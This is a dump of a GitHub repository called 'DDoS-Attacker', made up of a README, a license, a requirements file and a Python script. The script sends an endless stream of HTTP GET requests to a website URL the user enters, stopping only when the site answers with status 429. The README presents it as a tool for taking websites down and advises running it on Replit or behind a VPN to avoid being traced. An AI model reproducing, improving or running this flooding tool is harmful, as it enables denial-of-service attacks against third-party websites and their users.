├── requirements.txt
├── assets
├── ddos_tool_start.PNG
└── ddos_tool_stop.png
├── LICENSE
├── README.md
└── DDoS.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | httpx
2 | colorama
--------------------------------------------------------------------------------
/assets/ddos_tool_start.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CruelDev69/DDoS-Attacker/HEAD/assets/ddos_tool_start.PNG
--------------------------------------------------------------------------------
/assets/ddos_tool_stop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CruelDev69/DDoS-Attacker/HEAD/assets/ddos_tool_stop.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 | Copyright (c) 2022 Ahad
3 | If you want to use this code for any purpose, kindly give credits before using.
4 | You can modify or edit it but you are not allowed to remove the author name
5 | from the code.
6 | The above copyright notice and this permission notice shall be included in all
7 | copies or substantial portions of the Software.
8 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
9 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
10 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
11 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
12 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
13 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
14 | SOFTWARE.
15 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DDoS-Attacker
2 | A DDoS Attack Tool (for websites only) Made With ❤ By Ahad#3257
3 |
4 | This Repository was inspired by **__[Shahzain345](https://github.com/shahzain345)__**
5 |
6 | # How To Use?
7 | It's very simple just follow the steps written below.
8 |
9 | Type `pip install -r requirements` to install all required modules.
10 |
11 | Run `DDos.py` by typing `py DDoS.py` in your terminal
12 |
13 | Enter a website URL and wait for it to get down by this tool.
14 |
15 | **__Recommendation__**: Try running it on Replit or make sure you turn on your VPN when running this script on your PC.
16 |
17 | # FAQs
18 |
19 | ***
20 |
21 | | Question | Answer |
22 | |-----------------------|------------------------------------------------------------------------------------------------|
23 | | **Can we DDoS a IP by using this code?** | No you can only DDoS a website using this script. |
24 | | **How will we turn it off when targeted website is down?** | You don't have to worry about it because when website status code changes to `429` it will automatically quit. |
25 | | **How many request it can send maximum?** | It will send requests until targeted website returns status code `429`. |
26 |
27 |
28 | ***
29 |
30 |

31 | 
32 |
33 | ***
34 | # Note:
35 | Use it but please give credits to author.
36 |
37 | Skidding this code is not allowed if you see anyone taking credits of this script dm me on discord.
38 |
39 | # Social Media:
40 | [Instagram](https://www.instagram.com/ahadnoor._) ・
41 | [Discord](https://discord.gg/Ncsc5pRNgf) ・
42 | [Website](https://www.itscruel.cf/)
43 |
44 | # Discord: Ahad#3257
45 | If you liked this repo please don't forget to give it a star it would mean a lot.
46 |
--------------------------------------------------------------------------------
/DDoS.py:
--------------------------------------------------------------------------------
1 | '''
2 | MIT License
3 | Copyright (c) 2022 Ahad
4 | If you want to use this code for any purpose, kindly give credits before using.
5 | You can modify or edit it but you are not allowed to remove the author name
6 | from the code.
7 | The above copyright notice and this permission notice shall be included in all
8 | copies or substantial portions of the Software.
9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
10 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
11 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
12 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
13 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
14 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
15 | SOFTWARE.
16 | '''
17 |
18 | # Importing required modules
19 | import httpx
20 | from colorama import Fore, Style
21 |
22 | # Making color variables so we can use it later.
23 | yellow = Fore.YELLOW # Returns yellow color.
24 | blue = Fore.BLUE # Returns blue color.
25 | red = Fore.RED # Returns red color.
26 | resetStyle = Style.RESET_ALL # Resets color/style
27 | bright = Style.BRIGHT # Returns text brighter than normal.
28 | # Defining our title [DDoS Attack] with color variables we made.
29 | title = f"[{yellow}{bright}DDoS Attack{resetStyle}]"
30 | # Defining counter.
31 | count = 0
32 |
33 | # Making a DDoS Tool class
34 | class DDoS_Tool():
35 | # Making a function named Ahad to load credits, don't remove this function.
36 | def Ahad():
37 | print(f'''{red}{bright}
38 | ╔╦╗╔╦╗┌─┐╔═╗ ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─ ╔╦╗┌─┐┌─┐┬
39 | ║║ ║║│ │╚═╗ ╠═╣ │ │ ├─┤│ ├┴┐ ║ │ ││ ││
40 | ═╩╝═╩╝└─┘╚═╝ ╩ ╩ ┴ ┴ ┴ ┴└─┘┴ ┴ ╩ └─┘└─┘┴─┘
41 | {resetStyle}''')
42 |
43 | print(f'''{yellow}
44 | Author: Ahad#3257
45 | Website: https://itscruel.cf
46 | Github: https://github.com/CruelDev69/DDoS-Attacker
47 | {resetStyle}''')
48 |
49 | # Making DDoS function to send requests.
50 | def DDoS():
51 | global count # Declaring count as a global variable.
52 | client = httpx.Client() # Constructing Httpx module's client.
53 | url = str(input(f"{title}{blue} Enter your website URL: {resetStyle}")) # Taking website URL as user input.
54 | while True: # Making a while loop which will loop until value returns to False
55 | try: # Using try/except so our program runs even if it catches a error.
56 | statusCode = client.get(url) # Sending request to URL provided via input.
57 | count += 1 # Updating counter
58 | # Logging logs to console.
59 | print(f"{title}{blue} Information: \nTarget: {url}\nRequest no: {count}\nWebsite Status: {statusCode.status_code}{resetStyle}")
60 | with open("logs.txt", "a") as f: # Logging logs in logs.txt file
61 | f.write(f"[DDos Attack] Information: \nTarget: {url}\nRequest no: {count}\nWebsite Status: {statusCode.status_code}\n")
62 | except:
63 | continue
64 | if statusCode.status_code == 429: # Checking if status code returns 429
65 | print((f'''{yellow}
66 | |-----------------------------------------------------------------------|
67 | | ╦ ╦┌─┐┌┐ ┌─┐┬┌┬┐┌─┐ ╔╦╗┌─┐┬ ┬┌┐┌ |
68 | | ║║║├┤ ├┴┐└─┐│ │ ├┤ ║║│ │││││││ |
69 | | ╚╩╝└─┘└─┘└─┘┴ ┴ └─┘ ═╩╝└─┘└┴┘┘└┘ |
70 | |-----------------|-----------------------------------------------------|
71 | | Target | {url} |
72 | | Status Code | {statusCode.status_code} |
73 | | Requests title | {count} |
74 | |-----------------|-----------------------------------------------------|
75 | {resetStyle}'''))
76 | with open("logs.txt", "a") as f:
77 | f.write(f'''
78 | |-----------------------------------------------------------------------|
79 | | ╦ ╦┌─┐┌┐ ┌─┐┬┌┬┐┌─┐ ╔╦╗┌─┐┬ ┬┌┐┌ |
80 | | ║║║├┤ ├┴┐└─┐│ │ ├┤ ║║│ │││││││ |
81 | | ╚╩╝└─┘└─┘└─┘┴ ┴ └─┘ ═╩╝└─┘└┴┘┘└┘ |
82 | |-----------------|-----------------------------------------------------|
83 | | Target | {url} |
84 | | Status Code | {statusCode.status_code} |
85 | | Requests title | {count} |
86 | |-----------------|-----------------------------------------------------|
87 | ''')
88 | return False # If status code returns 429 it will return False and loop will break.
89 |
90 |
91 | if __name__ == "__main__":
92 | DDoS_Tool.Ahad() # Calling Function named Ahad
93 | DDoS_Tool.DDoS() # Calling DDoS Function.
94 |
--------------------------------------------------------------------------------